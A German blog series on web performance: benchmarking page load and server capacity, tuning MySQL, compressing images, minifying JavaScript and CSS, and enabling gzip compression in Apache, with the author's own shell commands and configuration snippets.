Dies ist der Erste Teil von meiner Blog-Reihe „Webseiten beschleunigen“. Um die ursprüngliche Ladegeschwindigkeit deiner Webseite zu prüfen, installieren wir uns zwei Erweiterungen für Firefox.

Firebug +
YSlow

ggf. kann man sich auch nach die nachfolgenden Links anschauen, jedoch habe ich mit der Kombination „ Firebug + YSlow“ sehr gute Erfahrungen gemacht, daher folgt nun diesbezüglich ein kleines Video.

 

 

Alternative von Google:

Firebug +
Page-Speed

 

Alternative Online-Analyse:

Bisher habe ich nur zwei Online-Analyse-Dienste gefunden, welche mir wirklich geholfen haben.

a.) Auf Pingdom.com kannst du die Ladezeit deiner Webseite und dessen Inhalt sehr schön in einem Graphen sehen und Schwachstellen somit sehr einfach erkennen, z.B. wenn eine externe Datei nicht erreichbar ist.

tools.pingdom.com

 

pingdom
pingdom

 

b.) Die nächste Webseite ist AOL’s WebPageTest ist ein wenig umfangreicher, so zeigt diese Webseite wie bereits beim vorherigen Link einen Graphen mit den geladen Dateien an, jedoch führt diese Webseite den Test zweimal durch, so dass die Auswirkung vom Browser-Cache simuliert wird. Außerdem gibt es eine Checkliste, wo alle Dateien noch einmal einzeln geprüft werden.

AOL’s WebPageTest

 

aol_webpagetest
aol_webpagetest

 

1.1) Webseiten Benchmark

Außerdem könnte kann die Abfragen auch direkt von der Shell aus starten z.B. mit „httperf“. Es folgt ein kleines HowTo für Debian:

sudo bash
aptitude install httperf
httperf --hog --server voku-online.de --num-conn 20 --ra 10 --timeout 5

jedoch kann ich zumindest mit der Ausgabe nicht viel anfangen, da mir diese vielen Zahlen auf Anhieb nicht viel sagen, daher folgt eine kleine Anleitung, wie man aus diesen Werten einen Graphen zeichnet

cd /usr/src/
wget http://www.xenoclast.org/autobench/downloads/debian/autobench_2.1.2_i386.deb
dpkg -i autobench_2.1.2_i386.deb
autobench --single_host --host1  www.test.de --uri1 /10K --quiet
--low_rate 20  --high_rate 200 --rate_step 20 --num_call 10
--num_conn  5000 --timeout 5 --file results.tsv
aptitude install gnuplot
bench2graph results.tsv result.ps

so nun laden wir die Datei „result.ps“ z.B. per WinSCP auf unsern Windows Rechner und öffnen die Datei mit Ghostscript

Hier mein Beispiel:

 

webserver_bench
webserver_bench

 

(1) req_rate: request rate, requests per second
(2) con_rate: connection rate, connections per second
(3) min_rep_rate: minimum reply rate, replies per second
(4) avg_rep_rate: average reply rate, replies per second
(5) max_rep_rate: maximum reply rate, replies per second
(6) stddev_rep_rate: standard deviation for reply rate
(7) resp_time
(8) net_io: Net I/O, KB per second
(9) error

Link:
autobench

 

Anstatt diesen Vorgang komplett per Hand zu bewerkstelligen, kann man auch folgende Webseite dazu nutzen:

-> loadimpact.com

So kannst du herausfinden, wie sich deine Webseite verhält, wenn sehr viele Besucher diese besuchen. Anbei das Ergebnis von diesem Blog. (Nach meiner Optimierung per „PHP XCache“ + „Nginx“ + „W3 Total Cache

 

loadimpact

 

Hier ist ein schneller Überblick darüber, was diese Kurve nun aussagt. -> loadimpact.com/forum/

MySQL-Server optimieren

Zurück zur „Webseiten beschleunigen“ – Übersicht

7.) MySQL optimieren

cd  /root
wget  http://mysqltuner.com/mysqltuner.pl
wget  http://www.day32.com/MySQL/tuning-primer.sh
chmod +x mysqltuner.pl
chmod +x tuning-primer.sh
./mysqltuner.pl
./tuning-primer.sh

Link:
rackerhacker.com/mysqltuner/ – mysqltuner
www.day32.com/MySQL/ – tuning-primer


Beispiel:

Wenn wir unserem MySQL-Server z.B. 64 MB zur Verfügung stellen möchten ->

key_buffer = 12M + (read_buffer = 4M + sort_buffer = 4 M) x max_connections = 64 MB

12 + (4 + 4) x max_connections = 64


Formel nach max_connections umstellen

max_connections = (RAM – key_buffer) : (read_buffer + sort_buffer)

max connections = (64 – 12) : (4 + 4)

max_connections = 52 : 8

max_connections = 6,5


benötigen wir mehr als 6,5 max_connections, müssen wir mehr RAM zur Verfügung stellen oder read_buffer und sort_buffer kleiner einstellen…


[stextbox id=“info“ caption=“Regel“]
Je weniger RAM zur Verfügung steht und je mehr max_connections benötigt werden, desto kleiner müssen read_buffer, sort_buffer u. key_buffer sein.

[/stextbox]


my.cnf – Konfigurationsdatei überprüfen ob der key_buffer so groß ist, dass alle Indizies in den Buffer passen und table_cache in etwa der Anzahl der Tabellen entspricht.


Zudem sollte man darauf achten, dass MySQL-Cache eingeschaltet ist.

-> query_cache_type=1


Als Anwendungsbeispiel werde ich an dieser Stelle die MySQL-Konfiguration meines Servers überprüfen ->

/root/mysqltuner.pl

Ich werde hier jedoch nur die Fehler, welches das Skript in meiner Konfig gefunden hat auflisten…

  • [!!] Total fragmented tables: 2

-> das nachfolgende Kommando schafft hier Abhilfe (könnte man so, oder so ähnlich auch als cronjob (crontab) laufen lassen

crontab -e



30 * * * * /usr/bin/mysqlcheck -u USER -pPASSWORT --auto-repair --check --optimize --all-databases > /dev/null 2>&1

In diesem Beispiel werden alle Datenbanken, jede 30 Minuten defragmentiert bzw. optimiert.



  • [!!] Key buffer size / total MyISAM indexes: 10.0M/13.7M

-> key_buffer = 15M erhöhen


7.1) MariaDB (MySQL-Fork)

In den letzen Wochen habe ich auch mit einem Mysql-Fork herumgespielt (MariaDB), dieser soll einige Vorteile in der Geschwindigkeit bringen. Man kann die Software über die Debian Pakete installieren nachdem man folgendes in seine „sources.list“ aufgenommen hat.

deb http://mirror.ourdelta.org/deb lenny mariadb-ourdelta
deb-src http://mirror.ourdelta.org/deb lenny mariadb-ourdelt

… danach noch ein …

apt-get update

… und schon kannst du die Software gegen MySQL austauchen, dies funktioniert z.B. mit „aptitude“ (mariadb-server) auch sehr gut, jedoch hatte ich das Problem, dass mein ISPConfig (eine Server Verwaltungsoberfläche) keine neuen Benutzer anlegen konnte, da sich die Syntax des Befehls ein wenig unterscheidet.


Webseiten komprimieren

Zurück zur „Webseiten beschleunigen“ – Übersicht

2.) Komprimierung

So langsam möchte ich auf die Fragen, welche bisher aufgetaucht sein könnten eingehen und mit der Beschleunigung der Webseite anfangen, daher starten wir mit der Komprimierung.

Alle neuen Browser (ab IE6) unterstützen komprimierte Dateien, man kann sich dies so ähnlich vorstellen, wie in dem diesem Proxy-Beispiel, wo die Dateien serverseitig komprimiert werden und vom Client, in unserm Fall nun der Browser wieder dekomprimiert werden. Aber dazu kommen wir gleich. Das Problem ist, dass Bilder bereits komprimiert sind und falls diese im Nachhinein noch einmal passiert, diese sogar größer werden können als zuvor, daher versucht man diese bereits bei der Bereitstellung in der optimalen Dateigröße anzubieten, zudem sollte man vermeiden, dass zu viele kleine Dateien vom Server geladen werden müssen, da zu viele Verbindungen bzw. Anfragen sich auch seht negativ auf die Performance einer Webseite auswirken.

2.1) Bilder komprimieren

2.1.1) Bilder Sprites


spritemap
spritemap



Durch viele kleine Icons / Menü-Bildern kommen viele Serveranfragen zustande, welche man durch ein größeres Bild, welches dann wiederum mit css so bearbeitet werden kann, dass man bestimmte Bildabschnitte ansprechen kann, ersetzten könnte.


Nun noch ein kleines Beispiel zur Verdeutlichung:
www.websiteoptimization.com/speed/tweak/css-sprites


Es folgt noch ein Beispiel, um das Prinzip zu verstehen…


alte CSS-Regeln:

#header {background: url(bild1.jpg) top left repeat-x; height:80px;}
ul.menu li {background: url(bild2.jpg) top left repeat-x; height:15px;}

bild1.jpg und bild2.jpg sind jeweils 1px breit. Waf der folgenden Webseite → Sprite-Generator ← kann man diese beiden Dateien nun zu einer Sprite-Datei zusammenfassen und herunterladen bzw. auf Webserver hochladen.


Dieses Sprite-Bild wird nun für alle Elemente, die einen im Sprite enthaltenen Hintergrund haben eingefügt:

#header, ul.menu li {background-image:url(bg_sprite.png);}


Mithilfe der im Generator angegebenen Regeln, werden die alten CSS-Regeln ersetzen:

.sprite-bild1 { background-position: 0 -30px; }
.sprite-bild2 { background-position: 0 -110px; }

…wird zu…

#header {background-position: 0 -30px; background-repeat: repeat-x;}
ul.menu li {background-position: 0 -110px; background-repeat: repeat-x;}


Mit zwei Bildern macht dies noch nicht so viel Sinn, aber ich denke das reicht zum Verdeutlichen des Prinzipes.


2.1.2) PNG-Bilder komprimieren

[stextbox id=“warning“]VOR DER ÄNDERUNG/OPTIMIERUNG AN IRGENDWELCHEN BILDERN, BITTE EIN BACKUP ERSTELLEN!!![/stextbox]

Das folgende HowTo zeigt wie man png-Bilder direkt auf dem Server verkleinern kann, ohne dessen Qualität zu verringern.

sudo bash
aptitude install optipng
optipng -o7 bild.png  -out bild_new.png

z.B.:

2673 24. Jun 15:50 free-source_bottom.png
1297 27. Jul 01:55 free-source_bottom_new.png

folgender Befehl komprimiert alle Bilder im Verzeichnis, welche auf .png enden ->

optipng  -o7 *.png

oder man sucht mittels „find“ die entsprechenden Bilder rekursive aus der gesamten Verzeichnisstruktur heraus

find . -iname '*.png' -exec optipng -o7 {} \;

Wichtig: um noch ein Backup der original Datei zu behalten kannst du den Parameter „-k“ verwenden

Alternativ kann man die Größe von png-Bildern auch mit pngcrush optimieren, welches auf die selbe einfache Weise installiert werden kann.

sudo bash
aptitude install pngcrush
pngcrush -rem alla  -reduce -brute original.png optimized.png

Alternativ kann man dies auch wieder rekursiv im aktuellen Verzeichnis alle png-Bilder mittels „pngcrush“ bearbeiten lassen.

for file in `find . -name "*.png"`;do
echo $file;
pngcrush -rem alla -reduce -brute "$file" tmp_img_file.png;
mv -f tmp_img_file.png $file;
done;

z.B.

Original: 8,9K
Optipng: 7.6K
Optipng + PNGcrush: 7.4K

Dies fällt bei größeren Bildern mehr ins Gewicht, jedoch kann auch die Komprimierung von solchen Logos etc. schon einige hundert MB im Monat einsparen, zumal PNG in Gegensatz zu JPEG eine verlustfreie Neukomprimierung unterstützt.


Link:
optipng.sourceforge.net
pmt.sourceforge.net


weitere Optimierungsmöglichkeiten für PNG-Bilder:
www.smashingmagazine.com


2.1.3) JPEG-Bilder komprimieren

[stextbox id=“warning“]VOR DER ÄNDERUNG/OPTIMIERUNG AN IRGENDWELCHEN BILDERN, BITTE EIN BACKUP ERSTELLEN!!![/stextbox]

Wie bereits zuvor beschrieben, können auch jpg-Bilder verkleinert werden.

aptitude install jpegoptim
jpegoptim --force  logo.jpg

z.B.:

24640 24. Jun 14:28 logo.jpg
22448 27. Jul 02:20 logo.jpg

Hier könnte man, wie bereits zuvor beschrieben, mittels „find“ die entsprechenden Bilder heraussuchen und diese verkleinern lassen.

find . -iname '*.jpg' -exec jpegoptim --force {} \;


Link:
jpegoptim.sourceforge.net


Eine weitere Möglichkeit jpg-Dateien unter Debian/Ubuntu zu optimieren, welche nach meinen ersten Tests jedoch genauso gut funktioniert wie jpegoptim.

sudo bash
aptitude install libjpeg-progs
jpegtran -copy  none -optimize -perfect logo.jpg > logo_jpegtran.jpg


weitere Optimierungsmöglichkeiten für JPEG-Bilder:
www.smashingmagazine.com


2.1.4) Bilder komprimieren – Online

Auf der folgenden Webseite, kannst du deine Bilder auch online verkleinern lassen…

developer.yahoo.com

… der nachfolgende Link ist nur für PNG-Bilder geeignet …

gracepointafterfive.com/punypng/



example
example



… und hier noch ein Link, wobei hier größtenteils an der Qualität der Bilder geschraubt wird…

tools.dynamicdrive.com


Als alternative zu all dieses serverseitigen Möglichkeiten kannst du deiner Bilder natürlich auch mit einem Bildbearbeitungsprogramm (z.B. Paint.NET) öffnen und z.B. optimiert für Webseiten abspeichern.


2.2) JavaScript/CSS komprimieren

2.2.1) JavaScript/CSS komprimieren – serverseitig

Hier werde ich kurz zeigen wir du deine JS- und CSS-Dateien nicht nur komprimieren kannst, um die Ladegeschwindigkeit deiner Webseite zu verbessern, sondern auch noch optimierst, so dass diese schneller ausgeführt werden. Der CSS-Kompressions-Algorithmus verwendet zudem einen Satz von fein aufeinander abgestimmten reguläre Ausdrücke, um die CSS-Datei zu komprimieren.


Dateien kombinieren: (optional)


cat datei1.js > alle_dateien.js
cat datei2.js >> alle_dateien.js
cat datei3.js >> alle_dateien.js


cd /usr/src/
wget  http://yuilibrary.com/downloads/yuicompressor/yuicompressor-2.4.2.zip
unzip yuicompressor-2.4.2.zip
rm yuicompressor-2.4.2.zip
cd yuicompressor-2.4.2build
sudo aptitude install sun-java6-bin
java -jar yuicompressor-2.4.2.jar --type js -o  combined.js alle_dateien.js alle_dateien_klein.js

dies kann man übrigens auch mit CSS-Daten machen…

java -jar yuicompressor-2.4.2.jar --type css -o  combined.css alle_dateien.css alle_dateien_klein.css

[stextbox id=“info“]Bei mir hat das kombinieren von einigen JS- und CSS-Dateien negative Auswirkungen gehabt, so haben einige JS nicht mehr funktioniert, zudem sollte man bedenken, dass einige Dateien nicht auf jeder Webseite benötigt werden und daher auch ruhig später geladen werden können, sobald ein Besucher z.B. auf Kommentare klickt.[/stextbox]


Download:
Download – yuilibrary.com


Link:
How does it work? – developer.yahoo.com


Alternativ kann man CSS-Dateien auch sehr bequem mit „csstidy“ komprimieren.

sudo aptitude install csstidy
csstidy mycssfile.css  myoutputfile.css

oder man lässt sich das Ergebnis erstmal auf dem Bildschirm ausgeben

csstidy  mycssfile.css

z.B.:

border-width: 1px;
border-style: solid;
/*Dies ist ein Kommentar*/
border-color: gray;

… wird zu …

border: 1px solid gray;


Link:
csstidy.sourceforge.net


2.2.2) JavaScript/CSS komprimieren – Online

Alternativ kann man, wenn man z.B. keinen V- oder Root-Server hat um zusätzliche Software zu installieren, die Dateien Online komprimieren zu lassen.


z.B.: für Javascript

Online Komprimierung – yui.2clics.net

shrinksafe.dojotoolkit.org

javascriptcompressor.com

ggf. kann man seine JS-Datei auch vorher überprüfen lassen um Fehler auszuschließen

www.jslint.com


z.B.: für CSS

www.cleancss.com

www.cssoptimiser.com

www.cssdrive.com


Eine weitere Methode besteht darin, die Daten selber gar nicht zu verändern, sondern diese direkt und nach einer bestimmten Zeit neu von einem Server komprimieren zu lassen, diese Methode hat daher auch wieder nachteiligen Einfluss auf die Ladegeschwindigkeit, da ein weitere Request, DNS-Lookup usw. hinzukommt. Jedoch kann man an diesen Online-Dienst auch mehrere CSS- bzw. JS-Dateien gleichzeitig übergeben. Ob dies wirklich die Performance steigern kann müsste man im Einzellfall ausprobieren.


z.B.:

http://reducisaurus.appspot.com/css?url1={{erste_URL}}&url2={{zweite_URL}}&url3={{dritte_URL}}&max-age={{cach_in_sekunden}}


Link:

code.google.com/p/reducisaurus/


2.3) Apache gzip-Kompression

Serverseitige Komprimierung und somit eine Reduzierung der zu Übertragungen Datenmengen von 40 – 70 % sind hier zu erreichen, zudem kannst du mithilfe der folgenden Konfigurationen gleich mehrere Webseiten, welche auf dem selben Server laufen optimieren.


ohne gzip-Kompression:


http_request
http_request



mit gzip-Kompression:


http_request_compressed
http_request_compressed



Aktiviere mod_deflate (gzip) – serverseitig

Diese Art der Komprimierung macht natürlich nur bei Dateien Sinn, welche auch komprimiert werden können z.B. HTML, CSS oder Javascript …


a2enmod deflate

… dieser Befehl kann unter anderen Distributionen anders aussehen z.B.: BSD

LoadModule deflate_module /usr/lib/apache2/modules/mod_deflate.so


Kommen wir zur Konfiguration des Modules, wir können „mod_deflate“ in folgender Datei bearbeiten ->


vim /etc/apache2/mods-enabled/deflate.conf


#SetInputFilter DEFLATE
SetOutputFilter DEFLATE

BrowserMatch ^Mozilla/4 gzip-only-text/html
BrowserMatch ^Mozilla/4\.0[678] no-gzip
BrowserMatch \bMSI[E] !no-gzip !gzip-only-text/html

SetEnvIfNoCase Request_URI \.(?:gif|jpe?g|jpg|ico|png|pdf|ipk|ico)$ no-gzip dont-vary
SetEnvIfNoCase Request_URI \.(?:mpg|mpeg|flv|wmv|wma|ogg|avi|mov|mp3|mp4|swf)$ no-gzip dont-vary
SetEnvIfNoCase Request_URI \.(?:exe|tar|t?gz|cab|zip|t?bz2|iso|bz2|sit|jar|rar|rm|rpm|deb)$ no-gzip dont-vary


Header append Vary User-Agent env=!dont-vary
Header append Vary User-Agent

Header set Vary *


DeflateCompressionLevel 6


Mithilfe von gzip (DeflateCompressionLevel) kann man verschneide Kompressions-Level einstellen, wobei 1 die schnellsten Komprimierung (weniger Kompression) und 9 die langsamste Komprimierung (beste Kompression) ist. Die Standard-Kompressions-Level ist 6. da eine zu hohe Kompression auf Kosten der der Systemleistung geht, ggf. kann man diesen Wert anpassen, wenn man noch genügend Ressourcen frei hat.

Nun müssen wir unsern Webserver neu-starten, um die Konfiguration zu übernehmen.

/etc/init.d/apache2 restart

und test…

gidnetwork.com/tools/gzip-test


Ausgabe: http://gedichte.voku-online.de/news.php


Web page compressed? → Yes
Compression type? → gzip
Size, Markup (bytes) → 52,039
Size, Compressed (bytes) → 9,934
Compression → % 80.9


Link:
httpd.apache.org/docs/2.0/mod/mod_deflate


2.3.2) Aktiviere mod_gzip – serverseitig

Wer noch apache und nicht apache2 verwendet sollte „mod_gzip“ anstelle von „deflate“ ansehen, jedoch werde ich nicht weiter auf die veraltete Apache-Version eingehen, wenn noch jemand den alten „Apache Web-Server“ einsetzt, soll man ggf. ein Update auf apache2 durchführen…


„Nur unter Apache 1.3 ist „mod_gzip“ effektiver ab „Apache 2.x“ sollte man „mod_deflate“ verwenden.“

www.howtoforge.com/linux_apache_mod_gzip


2.3.3) Aktiviere gzip – manuell

Es gibt auch noch die Möglichkeit Dateien serverseitig im Vorhinein zu komprimieren und in einer .htaccess anzugeben, welche Dateien bzw. Dateiendungen vom Browser wieder dekomprimiert werden müssen. Ich selber habe auch eine Mischung aus den verschienden Komprimierungsverfahren gewählt, so habe ich sehr große JS-Dateien im Vorhinein folgendermaßen komprimiert, so dass der Server dies nicht jedes mal machen muss, zudem hat dieses Verfahren den großen Vorteil, dass man die negative Auswirkung des hohen Komprimierungslevel, auf die Systemauslastung umgeht.

gzip -9 test.js
mv test.js.gz test.js.jgz


RewriteEngine on
RewriteCond %{HTTP:Accept-Encoding} gzip
RewriteCond %{REQUEST_FILENAME}.jgz -f
RewriteRule (.*).js$ $1.js.jgz [L]
AddType "text/javascript" .js.jgz
AddEncoding gzip .jgz


Link:
tutorialajax.com/compress-javascript-with-gzip